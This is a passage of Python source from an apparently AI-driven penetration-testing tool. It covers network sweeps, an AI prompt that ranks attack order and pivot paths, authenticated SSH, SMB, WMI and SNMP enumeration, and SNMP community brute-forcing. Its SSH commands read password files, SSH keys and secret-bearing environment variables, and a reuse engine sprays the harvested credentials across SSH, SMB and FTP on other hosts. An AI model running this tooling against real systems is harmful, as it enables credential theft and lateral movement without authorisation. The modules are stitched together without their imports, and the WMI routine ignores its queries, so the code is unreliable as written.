            src_count = len(set(data["sources_confirmed"]))
            data["confidence"] = "HIGH" if src_count >= 3 else "MEDIUM" if src_count >= 2 else "LOW"
            data["risk_score"] = min(round(base, 1), 100.0)

        enriched = sorted(cve_map.values(), key=lambda x: x["risk_score"], reverse=True)

        sources_found = set(s for c in enriched for s in c["sources_confirmed"])
        emit(f"[CVE-V3] {product}: {len(enriched)} CVE(s) from {len(sources_found)} source(s) — "
             f"KEV hits: {len(kev_set)}, MSF modules: {sum(1 for c in enriched if c['metasploit_module'])}")

        enriched = enriched[:20]   # cap at 20 to keep payloads manageable

        # Feature #3: AI ranks CVEs by real-world exploitability (non-blocking)
        try:
            from ai_helpers import ai_rank_cves
            enriched = ai_rank_cves(product, version, enriched)
        except Exception as e:
            logger.info(f"[CVE-V3] AI ranker skipped: {e}")

        return enriched


multi_source_cve = MultiSourceCVE()

"""PentestChain v2.0 — Host Discovery & Network Topology Engine"""

import logging
from typing import Optional, Callable

logger = logging.getLogger("host_discovery")


def _run(cmd: str, timeout: int = 120) -> str:
    try:
        r = subprocess.run(
            shlex.split(cmd), capture_output=True, text=True, timeout=timeout
        )
        return (r.stdout + r.stderr).strip()
    except subprocess.TimeoutExpired:
        return "TIMEOUT"
    except Exception as e:
        return f"ERROR: {e}"


def _parse_nmap_hosts(output: str) -> list:
    """Extract live host IPs from nmap -sn output."""
    hosts = []
    for line in output.splitlines():
        # "Nmap scan report for 192.168.1.1" or "for hostname (192.168.1.1)"
        m = re.search(r"Nmap scan report for (?:\S+ \()?(\d+\.\d+\.\d+\.\d+)", line)
        if m:
            hosts.append(m.group(1))
    return hosts


def _ttl_to_os_guess(ttl: Optional[int]) -> str:
    """Estimate OS family from TTL value."""
    if ttl is None:
        return "unknown"
    if ttl <= 64:
        return "linux/unix"
    if ttl <= 128:
        return "windows"
    if ttl <= 255:
        return "cisco/network"
    return "unknown"


def _ttl_to_zone_hint(ttl: Optional[int], hops: int) -> str:
    """
    Classify network zone from TTL and hop count.
    Low hops (1-2) + private IP → likely same segment (internal).
    Higher hops → likely crosses router/firewall → possible DMZ boundary.
    """
    if hops <= 1:
        return "local_segment"
    if hops <= 3:
        return "likely_internal"
    return "possible_dmz_or_external"


def arp_sweep(cidr: str, emit_fn=None) -> list:
    """
    Layer-2 ARP sweep using nmap -PR.
    Finds hosts that block ICMP/TCP but respond to ARP (common in hardened networks).
    Only works on the local subnet.
    Returns list of IPs.
    """
    emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
    emit(f"[DISCOVERY] ARP sweep on {cidr}", "run")
    try:
        out = _run(f"nmap -sn -PR --send-eth {cidr}", timeout=120)
        hosts = _parse_nmap_hosts(out)
        emit(f"[DISCOVERY] ARP sweep: {len(hosts)} host(s) found", "ok")
        return hosts
    except Exception as e:
        emit(f"[DISCOVERY] ARP sweep failed: {e}", "warn")
        return []


def icmp_sweep(cidr: str, emit_fn=None) -> list:
    """
    ICMP echo ping sweep using nmap -PE.
    Faster than ARP but blocked by some firewalls.
    """
    emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
    emit(f"[DISCOVERY] ICMP ping sweep on {cidr}", "run")
    try:
        out = _run(f"nmap -sn -PE -PP -PS80,443,22 {cidr}", timeout=180)
        hosts = _parse_nmap_hosts(out)
        emit(f"[DISCOVERY] ICMP sweep: {len(hosts)} host(s) found", "ok")
        return hosts
    except Exception as e:
        emit(f"[DISCOVERY] ICMP sweep failed: {e}", "warn")
        return []


def traceroute_host(target: str, emit_fn=None) -> dict:
    """
    Run nmap --traceroute and extract hop count, intermediate routers, and TTL.
    Returns dict: {hops, ttl, route, os_guess, zone_hint}
    """
    emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
    emit(f"[DISCOVERY] Traceroute to {target}", "run")

    result = {
        "target": target,
        "hops": 0,
        "ttl": None,
        "route": [],
        "os_guess": "unknown",
        "zone_hint": "unknown",
    }

    try:
        out = _run(f"nmap -sn --traceroute {target}", timeout=60)
        hops = []

        in_trace = False
        for line in out.splitlines():
            if "TRACEROUTE" in line:
                in_trace = True
                continue
            if in_trace:
                # "HOP RTT     ADDRESS"
                m = re.match(r"\s*(\d+)\s+[\d.]+\s+ms\s+(\S+)", line)
                if m:
                    hop_num = int(m.group(1))
                    hop_ip = m.group(2)
                    hops.append({"hop": hop_num, "ip": hop_ip})

        # Extract TTL from regular nmap output
        ttl_match = re.search(r"ttl=(\d+)", out, re.IGNORECASE)
        if ttl_match:
            result["ttl"] = int(ttl_match.group(1))

        result["hops"] = len(hops)
        result["route"] = hops
        result["os_guess"] = _ttl_to_os_guess(result["ttl"])
        result["zone_hint"] = _ttl_to_zone_hint(result["ttl"], result["hops"])

        emit(f"[DISCOVERY] {target}: {result['hops']} hops, TTL={result['ttl']}, OS≈{result['os_guess']}, zone≈{result['zone_hint']}", "info")

    except Exception as e:
        emit(f"[DISCOVERY] Traceroute failed for {target}: {e}", "warn")

    return result


def expand_target(target: str) -> tuple:
    """
    Determine if target is a single IP, hostname, or CIDR range.
    Returns (resolved_ip, cidr_for_sweep, is_range)
    """
    # CIDR notation
    if "/" in target:
        try:
            net = ipaddress.ip_network(target, strict=False)
            first_host = str(next(net.hosts()))
            return first_host, str(net), True
        except ValueError:
            pass

    # Range notation: 192.168.1.1-50
    if re.match(r"\d+\.\d+\.\d+\.\d+-\d+$", target):
        base = ".".join(target.split(".")[:3])
        start, end = target.split(".")[-1].split("-")
        return f"{base}.{start}", target, True

    # Single hostname or IP
    try:
        resolved = socket.gethostbyname(target)
        # Suggest a /24 sweep around the target
        parts = resolved.split(".")
        cidr = ".".join(parts[:3]) + ".0/24"
        return resolved, cidr, False
    except Exception:
        return target, target, False


def ai_classify_topology(hosts: list, call_ai_fn: Callable = None) -> dict:
    """
    Ask the AI to classify the network topology based on:
    - TTL values (OS fingerprinting)
    - Hop counts (network distance)
    - IP ranges (subnet classification)
    - Port patterns (role identification)

    Returns dict with: zone_map, attack_order, aggressiveness_recommendation
    """
    if not call_ai_fn or not hosts:
        return _rule_based_topology(hosts)

    prompt = f"""You are a network topology analyst. Classify these discovered hosts:

HOSTS:
{json.dumps([{
    "ip": h["ip"],
    "ttl": h.get("ttl"),
    "hops": h.get("hops", 0),
    "os_guess": h.get("os_guess", "unknown"),
    "zone_hint": h.get("zone_hint", "unknown"),
    "open_ports": h.get("open_ports", []),
} for h in hosts], indent=2)}

Respond ONLY with valid JSON:
{{
  "zone_map": {{
    "<ip>": {{
      "zone": "dmz|internal|external|management",
      "role": "webserver|database|dc|workstation|router|unknown",
      "attack_priority": 1,
      "reasoning": "brief reason"
    }}
  }},
  "topology_summary": "brief description of network layout",
  "recommended_aggressiveness": "stealth|standard|aggressive",
  "aggressiveness_reason": "why this aggressiveness level",
  "attack_order": ["ip1", "ip2"],
  "pivot_path": "suggested lateral movement path",
  "waf_detected": false,
  "ids_indicators": []
}}"""

    try:
        response = call_ai_fn(prompt)
        if not response:
            return _rule_based_topology(hosts)

        # Parse JSON
        response = re.sub(r"^```(?:json)?\s*\n?", "", response.strip())
        response = re.sub(r"\n?\s*```\s*$", "", response.strip())
        data = json.loads(response)
        return data
    except Exception as e:
        logger.warning(f"[DISCOVERY] AI topology classification failed: {e} — using rule-based")
        return _rule_based_topology(hosts)


def _rule_based_topology(hosts: list) -> dict:
    """Fallback topology classification without AI."""
    zone_map = {}
    attack_order = []

    for h in hosts:
        ip = h["ip"]
        hops = h.get("hops", 0)
        zone = h.get("zone_hint", "unknown")
        os_g = h.get("os_guess", "unknown")
        ports = h.get("open_ports", [])

        # Simple role detection from ports
        role = "unknown"
        if 80 in ports or 443 in ports or 8080 in ports:
            role = "webserver"
        elif 3306 in ports or 5432 in ports or 1433 in ports or 27017 in ports:
            role = "database"
        elif 389 in ports or 636 in ports or 88 in ports:
            role = "dc"
        elif 22 in ports and len(ports) <= 3:
            role = "bastion"

        priority = 1 if zone in ("local_segment", "likely_internal") else 2

        zone_map[ip] = {
            "zone": zone,
            "role": role,
            "attack_priority": priority,
            "reasoning": f"Rule-based: {hops} hops, TTL-OS={os_g}",
        }
        attack_order.append(ip)

    return {
        "zone_map": zone_map,
        "topology_summary": f"Rule-based classification of {len(hosts)} host(s)",
        "recommended_aggressiveness": "standard",
        "aggressiveness_reason": "Default — AI not available for topology analysis",
        "attack_order": attack_order,
        "pivot_path": "Manual analysis required",
        "waf_detected": False,
        "ids_indicators": [],
    }


class NetworkDiscovery:
    """
    Full Phase 0/2 replacement: sweep → traceroute → AI topology classification.

    Usage:
        nd = NetworkDiscovery("192.168.1.0/24", emit_fn=emit_log)
        result = nd.run(call_ai_fn=call_ai)
        # result["live_hosts"] = [{ip, ttl, hops, os_guess, zone_hint, open_ports}]
        # result["topology"]   = AI classification
        # result["scan_profile"] = "stealth|standard|aggressive"
    """

    def __init__(self, target: str, emit_fn=None):
        self.target = target
        self.emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))

    def run(self, call_ai_fn: Callable = None,
            sweep_range: bool = False) -> dict:
        """
        Full discovery run.
        sweep_range=True: sweep the whole /24 around the target.
        sweep_range=False: only resolve and traceroute the single target.
        """
        self.emit(f"[DISCOVERY] Network discovery starting: {self.target}", "phase")

        resolved, cidr, is_range = expand_target(self.target)

        live_ips = set()

        if sweep_range or is_range:
            # ARP sweep (Layer 2 — most reliable on local net)
            arp_hosts = arp_sweep(cidr, self.emit)
            live_ips.update(arp_hosts)

            # ICMP sweep fills gaps
            icmp_hosts = icmp_sweep(cidr, self.emit)
            live_ips.update(icmp_hosts)
        else:
            # Single-target: just confirm the resolved IP is reachable
            ping_out = _run(f"nmap -sn -PE {resolved}", timeout=30)
            if "Host is up" in ping_out or resolved in ping_out:
                live_ips.add(resolved)
            else:
                # Target might block ICMP — add it anyway for port scanning
                live_ips.add(resolved)
                self.emit(f"[DISCOVERY] {resolved} not responding to ping — adding anyway", "warn")

        if not live_ips:
            live_ips.add(resolved)

        self.emit(f"[DISCOVERY] {len(live_ips)} live host(s): {', '.join(sorted(live_ips))}", "ok")

        host_details = []
        for ip in sorted(live_ips):
            trace = traceroute_host(ip, self.emit)
            host_details.append({
                "ip": ip,
                "ttl": trace.get("ttl"),
                "hops": trace.get("hops", 0),
                "route": trace.get("route", []),
                "os_guess": trace.get("os_guess", "unknown"),
                "zone_hint": trace.get("zone_hint", "unknown"),
                "open_ports": [],  # Will be filled by Phase 1 port scan
            })

        self.emit("[DISCOVERY] AI topology classification...", "run")
        topology = ai_classify_topology(host_details, call_ai_fn)

        self.emit(f"[DISCOVERY] Topology: {topology.get('topology_summary', 'classified')}", "ok")
        self.emit(f"[DISCOVERY] Recommended aggressiveness: {topology.get('recommended_aggressiveness', 'standard')}", "ok")

        return {
            "live_hosts": host_details,
            "resolved": resolved,
            "cidr": cidr,
            "is_range": is_range,
            "topology": topology,
            "scan_profile": topology.get("recommended_aggressiveness", "standard"),
            "attack_order": topology.get("attack_order", [h["ip"] for h in host_details]),
        }

"""PentestChain v2.0 — Authenticated Scanner"""

import logging
from typing import Optional

logger = logging.getLogger("auth_scanner")


class CredentialStore:
    """
    Accumulates discovered credentials across phases and reuses them.
    Thread-safe append; read is copy-on-access.
    """
    def __init__(self):
        self._creds = []

    def add(self, service: str, host: str, port: int, username: str,
            password: str, source: str = "unknown"):
        entry = {
            "service": service, "host": host, "port": port,
            "username": username, "password": password, "source": source,
        }
        if entry not in self._creds:
            self._creds.append(entry)
            logger.info(f"[AUTH] New credential: {service}://{username}@{host}:{port} (via {source})")

    def get_for_host(self, host: str) -> list:
        return [c for c in self._creds if c["host"] == host]

    def get_for_service(self, service: str) -> list:
        return [c for c in self._creds if c["service"] == service]

    def all(self) -> list:
        return list(self._creds)

    def to_dict(self) -> dict:
        return {"credentials": self._creds, "count": len(self._creds)}


# Global store — shared across phases
cred_store = CredentialStore()


def _run_ssh_cmd(host: str, port: int, username: str, password: str,
                 command: str, timeout: int = 15) -> str:
    """
    Execute a command over SSH using sshpass for password auth.
    Returns stdout+stderr or empty string on failure.
    """
    try:
        cmd = [
            "sshpass", "-p", password,
            "ssh",
            "-o", "StrictHostKeyChecking=no",
            "-o", "UserKnownHostsFile=/dev/null",
            "-o", "ConnectTimeout=10",
            "-o", "BatchMode=no",
            "-o", "PreferredAuthentications=password",
            "-o", "PubkeyAuthentication=no",
            "-o", "PasswordAuthentication=yes",
            "-o", "LogLevel=ERROR",
            "-p", str(port),
            f"{username}@{host}",
            command,
        ]
        r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
        return (r.stdout + r.stderr).strip()
    except Exception as e:
        logger.debug(f"[SSH] Command failed on {host}: {e}")
        return ""


def _run_ssh_key(host: str, port: int, username: str, key_path: str,
                 command: str, timeout: int = 15) -> str:
    """SSH with private key instead of password."""
    try:
        cmd = [
            "ssh",
            "-i", key_path,
            "-o", "StrictHostKeyChecking=no",
            "-o", "UserKnownHostsFile=/dev/null",
            "-o", "ConnectTimeout=10",
            "-p", str(port),
            f"{username}@{host}",
            command,
        ]
        r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
        return (r.stdout + r.stderr).strip()
    except Exception as e:
        logger.debug(f"[SSH-KEY] Command failed: {e}")
        return ""


class SSHAuthScanner:
    """
    Authenticated SSH enumeration — mirrors Nessus credentialed scan.
    Collects: OS, users, sudo, interfaces, crontabs, installed packages,
    SUID binaries, listening ports (internal view), and pivot indicators.
    """

    ENUM_COMMANDS = {
        "os_release":     "cat /etc/os-release 2>/dev/null || cat /etc/issue 2>/dev/null",
        "uname":          "uname -a",
        "users":          "cat /etc/passwd | grep -v nologin | grep -v false",
        "sudo":           "sudo -l 2>/dev/null | head -30",
        "interfaces":     "ip addr show 2>/dev/null || ifconfig 2>/dev/null",
        "routes":         "ip route 2>/dev/null || route -n 2>/dev/null",
        "netstat":        "ss -tlnpu 2>/dev/null || netstat -tlnpu 2>/dev/null",
        "crontab":        "crontab -l 2>/dev/null; ls -la /etc/cron* 2>/dev/null",
        "suid_binaries":  "find / -perm -4000 -type f 2>/dev/null | head -20",
        "world_writable": "find / -writable -type f -not -path '*/proc/*' 2>/dev/null | head -15",
        "env_vars":       "env 2>/dev/null | grep -i 'pass\\|key\\|secret\\|token' 2>/dev/null",
        "docker_group":   "groups 2>/dev/null",
        "installed_pkgs": "dpkg -l 2>/dev/null | tail -30 || rpm -qa 2>/dev/null | tail -30",
        "ssh_keys":       "ls -la ~/.ssh/ 2>/dev/null; cat ~/.ssh/authorized_keys 2>/dev/null",
    }

    def __init__(self, host: str, port: int, username: str,
                 password: str = "", key_path: str = "", emit_fn=None):
        self.host = host
        self.port = port
        self.username = username
        self.password = password
        self.key_path = key_path
        self.emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
        self.results = {}

    def _exec(self, cmd: str) -> str:
        if self.key_path:
            return _run_ssh_key(self.host, self.port, self.username, self.key_path, cmd)
        return _run_ssh_cmd(self.host, self.port, self.username, self.password, cmd)

    def verify_access(self) -> bool:
        """Test if credentials work before running full enum."""
        out = self._exec("echo PENTESTCHAIN_AUTH_OK")
        return "PENTESTCHAIN_AUTH_OK" in out

    def run_full_enum(self) -> dict:
        """Run all enumeration commands and return structured results."""
        self.emit(f"[SSH-AUTH] Authenticated enum on {self.host}:{self.port} as {self.username}", "phase")

        if not self.verify_access():
            self.emit(f"[SSH-AUTH] ✗ Access denied on {self.host}:{self.port}", "warn")
            return {"error": "authentication_failed"}

        self.emit(f"[SSH-AUTH] ✓ Access confirmed on {self.host}:{self.port}", "ok")

        for label, cmd in self.ENUM_COMMANDS.items():
            try:
                out = self._exec(cmd)
                self.results[label] = out
                if out:
                    self.emit(f"[SSH-AUTH] {label} ✓ ({len(out)} chars)", "info")
            except Exception as e:
                self.results[label] = f"ERROR: {e}"

        # Post-process: detect dual-homed host
        self.results["pivot_indicators"] = self._detect_pivot_indicators()

        # Post-process: extract discovered credentials from env / configs
        self._extract_embedded_credentials()

        return self.results

    def _detect_pivot_indicators(self) -> dict:
        """
        Detect dual-homed interfaces and pivot potential.
        Returns: {"dual_homed": bool, "interfaces": [...], "routable_count": int}
        """
        iface_out = self.results.get("interfaces", "")
        route_out = self.results.get("routes", "")

        routable_ips = []
        private_ranges = [
            ipaddress.ip_network("10.0.0.0/8"),
            ipaddress.ip_network("172.16.0.0/12"),
            ipaddress.ip_network("192.168.0.0/16"),
        ]

        # Parse IP addresses from interface output
        for match in re.finditer(r"inet\s+(\d+\.\d+\.\d+\.\d+)", iface_out):
            ip_str = match.group(1)
            try:
                ip = ipaddress.ip_address(ip_str)
                if not ip.is_loopback:
                    for net in private_ranges:
                        if ip in net:
                            routable_ips.append(ip_str)
                            break
            except ValueError:
                pass

        # Also check for non-private (public) IPs — very suspicious
        for match in re.finditer(r"inet\s+(\d+\.\d+\.\d+\.\d+)", iface_out):
            ip_str = match.group(1)
            try:
                ip = ipaddress.ip_address(ip_str)
                if not ip.is_private and not ip.is_loopback and ip_str not in routable_ips:
                    routable_ips.append(ip_str)
            except ValueError:
                pass

        dual_homed = len(routable_ips) >= 2

        return {
            "dual_homed": dual_homed,
            "routable_interfaces": routable_ips,
            "routable_count": len(routable_ips),
            "pivot_note": (
                f"⚠ PIVOT CANDIDATE: {len(routable_ips)} routable interfaces detected — "
                f"{', '.join(routable_ips)}"
            ) if dual_homed else "Single-homed — no obvious pivot path",
        }

    def _extract_embedded_credentials(self):
        """
        Scan enumerated output for embedded credentials (DB connection strings,
        .env files, etc.) and add them to the global credential store.
        """
        patterns = [
            r"(?:password|passwd|pwd)\s*[=:]\s*['\"]?([^\s'\"]+)",
            r"(?:DB_PASS|DATABASE_PASSWORD|MYSQL_PWD|PGPASSWORD)\s*=\s*['\"]?([^\s'\"]+)",
            r"(?:redis://|mysql://|postgresql://)([^:]+):([^@]+)@",
        ]
        env_out = self.results.get("env_vars", "")
        for pattern in patterns:
            for m in re.finditer(pattern, env_out, re.IGNORECASE):
                pw = m.group(1) if len(m.groups()) == 1 else m.group(2)
                if pw and len(pw) > 3 and pw not in ("null", "None", "true", "false"):
                    cred_store.add("discovered", self.host, 0, "unknown", pw, "ssh_env_var")


class SMBAuthScanner:
    """
    Authenticated SMB / Windows enumeration.
    Uses smbclient, rpcclient, and nmap smb-* scripts with credentials.
    """

    def __init__(self, host: str, username: str, password: str,
                 domain: str = "WORKGROUP", emit_fn=None):
        self.host = host
        self.username = username
        self.password = password
        self.domain = domain
        self.emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
        self.results = {}

    def _smbclient(self, share: str, cmd: str, timeout: int = 30) -> str:
        try:
            full_cmd = [
                "smbclient", f"//{self.host}/{share}",
                "-U", f"{self.domain}/{self.username}%{self.password}",
                "-c", cmd,
                "--no-pass" if not self.password else "",
            ]
            full_cmd = [x for x in full_cmd if x]
            r = subprocess.run(full_cmd, capture_output=True, text=True, timeout=timeout)
            return (r.stdout + r.stderr).strip()
        except Exception as e:
            return f"ERROR: {e}"

    def _rpcclient(self, cmd: str, timeout: int = 30) -> str:
        try:
            rpc_cmd = [
                "rpcclient", self.host,
                "-U", f"{self.username}%{self.password}",
                "-c", cmd,
            ]
            r = subprocess.run(rpc_cmd, capture_output=True, text=True, timeout=timeout)
            return (r.stdout + r.stderr).strip()
        except Exception as e:
            return f"ERROR: {e}"

    def _nmap_smb_auth(self, scripts: str, timeout: int = 60) -> str:
        try:
            cmd = (
                f"nmap -p 445 --script {scripts} "
                f"--script-args smbusername={self.username},"
                f"smbpassword={self.password},"
                f"smbdomain={self.domain} "
                f"{self.host}"
            )
            r = subprocess.run(shlex.split(cmd), capture_output=True, text=True, timeout=timeout)
            return (r.stdout + r.stderr).strip()
        except Exception as e:
            return f"ERROR: {e}"

    def run_full_enum(self) -> dict:
        """Full authenticated SMB enumeration."""
        self.emit(f"[SMB-AUTH] Authenticated enum on {self.host} as {self.domain}\\{self.username}", "phase")

        # Enumerate shares
        self.emit("[SMB-AUTH] Enumerating shares...", "run")
        self.results["shares"] = self._nmap_smb_auth(
            "smb-enum-shares,smb-ls,smb-enum-users,smb-enum-groups,"
            "smb-enum-sessions,smb-enum-domains,smb-system-info"
        )

        # RPC user enumeration
        self.emit("[SMB-AUTH] RPC user enumeration...", "run")
        self.results["users"] = self._rpcclient("enumdomusers")
        self.results["groups"] = self._rpcclient("enumdomgroups")
        self.results["domain_info"] = self._rpcclient("lsaquery")

        # Registry checks (Windows Security Configuration)
        self.emit("[SMB-AUTH] Registry-based security checks...", "run")
        self.results["registry"] = self._nmap_smb_auth(
            "smb-security-mode,smb-protocols,smb-vuln-ms17-010,"
            "smb-vuln-ms08-067,smb-vuln-cve-2017-7494"
        )

        # Try to list C$ or ADMIN$
        self.emit("[SMB-AUTH] Checking admin shares...", "run")
        self.results["admin_share"] = self._smbclient("C$", "ls")
        self.results["admin_share_access"] = "ADMIN ACCESS" if "NT_STATUS" not in self.results["admin_share"] else "DENIED"

        self.emit(f"[SMB-AUTH] Admin share: {self.results['admin_share_access']}", "vuln" if "ADMIN" in self.results["admin_share_access"] else "info")

        return self.results


class WMIScanner:
    """
    WMI-based Windows enumeration via impacket's wmiexec.py.
    Requires impacket installed (pip install impacket — available on Kali).
    """

    WMI_QUERIES = {
        "os_info":      "SELECT Caption,Version,BuildNumber FROM Win32_OperatingSystem",
        "users":        "SELECT Name,Disabled,PasswordRequired FROM Win32_UserAccount",
        "services":     "SELECT Name,State,PathName FROM Win32_Service WHERE State='Running'",
        "software":     "SELECT Name,Version FROM Win32_Product",
        "patches":      "SELECT HotFixID,Description,InstalledOn FROM Win32_QuickFixEngineering",
        "shares":       "SELECT Name,Path FROM Win32_Share",
        "interfaces":   "SELECT IPAddress,SubnetMask,DefaultIPGateway FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=True",
        "processes":    "SELECT Name,ProcessId,CommandLine FROM Win32_Process",
        "env_vars":     "SELECT Name,VariableValue FROM Win32_Environment WHERE UserName='<SYSTEM>'",
    }

    def __init__(self, host: str, username: str, password: str,
                 domain: str = "", emit_fn=None):
        self.host = host
        self.username = username
        self.password = password
        self.domain = domain or "."
        self.emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
        self.results = {}

    def _wmi_query(self, query: str, timeout: int = 30) -> str:
        """Run WMI query via wmic or impacket wmiquery."""
        # Try wmic first (available locally or via wine on Kali)
        try:
            cmd = [
                "wmic",
                f"//{self.host}",
                f"/user:{self.domain}\\{self.username}",
                f"/password:{self.password}",
                "process", "list",
            ]
            # fallback to impacket
        except Exception:
            pass

        # impacket wmiexec approach
        try:
            target = f"{self.domain}/{self.username}:{self.password}@{self.host}"
            cmd = ["impacket-wmiexec", "-nointeractive", target, f"wmic /? 2>nul"]
            r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
            return (r.stdout + r.stderr).strip()
        except Exception as e:
            return f"WMI unavailable: {e}"

    def run_full_enum(self) -> dict:
        """Run WMI enumeration — graceful fallback if impacket unavailable."""
        self.emit(f"[WMI] Windows enumeration on {self.host} as {self.domain}\\{self.username}", "phase")

        for label, query in self.WMI_QUERIES.items():
            try:
                out = self._wmi_query(query)
                self.results[label] = out
                self.emit(f"[WMI] {label} → {len(out)} chars", "info")
            except Exception as e:
                self.results[label] = f"ERROR: {e}"

        return self.results


SNMP_COMMUNITY_STRINGS = [
    "public", "private", "community", "admin", "manager",
    "snmpd", "cisco", "router", "switch", "default",
    "internal", "secret", "monitor", "test",
]

class SNMPScanner:
    """
    SNMP community string enumeration + MIB walk.
    Also cross-references discovered community strings for credential reuse.
    """

    # Key OIDs to pull
    OIDS = {
        "sys_descr":    "1.3.6.1.2.1.1.1.0",   # System description
        "sys_name":     "1.3.6.1.2.1.1.5.0",   # Hostname
        "sys_contact":  "1.3.6.1.2.1.1.4.0",   # Contact
        "interfaces":   "1.3.6.1.2.1.2.2.1",   # Interface table
        "ip_forward":   "1.3.6.1.2.1.4.24.4",  # Routing table
        "tcp_conns":    "1.3.6.1.2.1.6.13",     # Active TCP connections
        "processes":    "1.3.6.1.2.1.25.4.2.1.2", # Running processes (HOST-MIB)
        "software":     "1.3.6.1.2.1.25.6.3.1.2", # Installed software (HOST-MIB)
        "users":        "1.3.6.1.4.1.77.1.2.25", # Windows user accounts
    }

    def __init__(self, host: str, port: int = 161, emit_fn=None):
        self.host = host
        self.port = port
        self.emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
        self.results = {}
        self.valid_communities = []

    def _snmpget(self, community: str, oid: str, version: str = "2c",
                 timeout: int = 5) -> str:
        try:
            cmd = ["snmpget", "-v", version, "-c", community,
                   "-t", str(timeout), "-r", "1",
                   f"{self.host}:{self.port}", oid]
            r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout + 2)
            return (r.stdout).strip()
        except Exception as e:
            return ""

    def _snmpwalk(self, community: str, oid: str, timeout: int = 30) -> str:
        try:
            cmd = ["snmpwalk", "-v", "2c", "-c", community,
                   "-t", "5", "-r", "1",
                   f"{self.host}:{self.port}", oid]
            r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
            return (r.stdout).strip()
        except Exception as e:
            return ""

    def _nmap_snmp_brute(self) -> list:
        """Use nmap snmp-brute for community string discovery."""
        try:
            cmd = (f"nmap -sU -p {self.port} --script snmp-brute "
                   f"--script-args brute.firstonly=false "
                   f"{self.host}")
            r = subprocess.run(shlex.split(cmd), capture_output=True, text=True, timeout=120)
            found = []
            for line in (r.stdout + r.stderr).splitlines():
                if "Valid credentials" in line or "Valid community" in line:
                    m = re.search(r"Valid[^:]+:\s+(\S+)", line)
                    if m:
                        found.append(m.group(1))
            return found
        except Exception as e:
            logger.warning(f"[SNMP] nmap brute failed: {e}")
            return []

    def brute_communities(self) -> list:
        """Test known community strings and collect valid ones."""
        self.emit(f"[SNMP] Community string brute on {self.host}:{self.port}", "run")

        # Manual quick test
        for community in SNMP_COMMUNITY_STRINGS:
            out = self._snmpget(community, self.OIDS["sys_descr"])
            if out and "No Such" not in out and "Timeout" not in out and out.strip():
                self.emit(f"[SNMP] Valid community: '{community}' on {self.host}", "vuln")
                self.valid_communities.append(community)
                cred_store.add("snmp", self.host, self.port, "community", community, "snmp_brute")

        # Also run nmap brute for thoroughness
        nmap_found = self._nmap_snmp_brute()
        for c in nmap_found:
            if c not in self.valid_communities:
                self.valid_communities.append(c)
                cred_store.add("snmp", self.host, self.port, "community", c, "nmap_snmp_brute")

        return self.valid_communities

    def run_full_enum(self) -> dict:
        """Brute communities then walk all key OIDs."""
        communities = self.brute_communities()
        if not communities:
            self.emit(f"[SNMP] No valid community strings found on {self.host}", "warn")
            return {"error": "no_valid_community", "tried": SNMP_COMMUNITY_STRINGS}

        community = communities[0]  # Use first valid
        self.emit(f"[SNMP] Walking MIBs with community '{community}'", "run")

        for label, oid in self.OIDS.items():
            try:
                out = self._snmpwalk(community, oid)
                self.results[label] = out
                if out:
                    self.emit(f"[SNMP] {label}: {len(out.splitlines())} entries", "info")
            except Exception as e:
                self.results[label] = f"ERROR: {e}"

        self.results["valid_communities"] = communities
        return self.results


class CredentialReuseEngine:
    """
    Takes credentials discovered anywhere in the pipeline and
    attempts them against all open services on other hosts.
    This is the lateral movement simulation component.
    """

    def __init__(self, emit_fn=None):
        self.emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
        self.reuse_results = []

    def try_ssh(self, host: str, port: int, username: str, password: str) -> bool:
        """Test SSH credential."""
        try:
            cmd = [
                "sshpass", "-p", password,
                "ssh",
                "-o", "StrictHostKeyChecking=no",
                "-o", "UserKnownHostsFile=/dev/null",
                "-o", "ConnectTimeout=5",
                "-o", "BatchMode=no",
                "-p", str(port),
                f"{username}@{host}",
                "echo AUTH_TEST"
            ]
            r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            return "AUTH_TEST" in r.stdout
        except Exception:
            return False

    def try_smb(self, host: str, username: str, password: str, domain: str = ".") -> bool:
        """Test SMB credential."""
        try:
            cmd = [
                "smbclient", f"//{host}/IPC$",
                "-U", f"{domain}/{username}%{password}",
                "-c", "exit"
            ]
            r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            return "NT_STATUS_LOGON_FAILURE" not in r.stderr and r.returncode == 0
        except Exception:
            return False

    def try_ftp(self, host: str, port: int, username: str, password: str) -> bool:
        """Test FTP credential using curl."""
        try:
            cmd = ["curl", "--silent", "--connect-timeout", "5",
                   f"ftp://{username}:{password}@{host}:{port}/",
                   "-I"]
            r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            return r.returncode == 0
        except Exception:
            return False

    def run_reuse(self, services: list) -> list:
        """
        For each credential in store, try against all services.
        Returns list of successful reuse hits.
        """
        all_creds = cred_store.all()
        if not all_creds:
            self.emit("[CRED-REUSE] No credentials in store — skipping", "info")
            return []

        self.emit(f"[CRED-REUSE] Testing {len(all_creds)} credential(s) across {len(services)} services", "phase")
        hits = []

        for cred in all_creds:
            for svc in services:
                host = svc.get("ip", "")
                port = int(svc.get("port", 0))
                service_name = (svc.get("service", "") or "").lower()
                u = cred["username"]
                p = cred["password"]

                # Skip if this is where the cred came from
                if host == cred["host"] and port == cred["port"]:
                    continue

                success = False
                target_service = ""

                try:
                    if "ssh" in service_name or port == 22:
                        success = self.try_ssh(host, port, u, p)
                        target_service = "ssh"
                    elif "smb" in service_name or port in (445, 139):
                        success = self.try_smb(host, u, p)
                        target_service = "smb"
                    elif "ftp" in service_name or port == 21:
                        success = self.try_ftp(host, port, u, p)
                        target_service = "ftp"

                    if success:
                        hit = {
                            "source_host": cred["host"],
                            "target_host": host,
                            "target_port": port,
                            "target_service": target_service,
                            "username": u,
                            "password": p,
                            "source": cred["source"],
                        }
                        hits.append(hit)
